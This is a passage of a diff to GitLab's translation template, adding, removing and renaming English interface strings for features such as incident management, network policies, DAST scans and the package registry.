+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
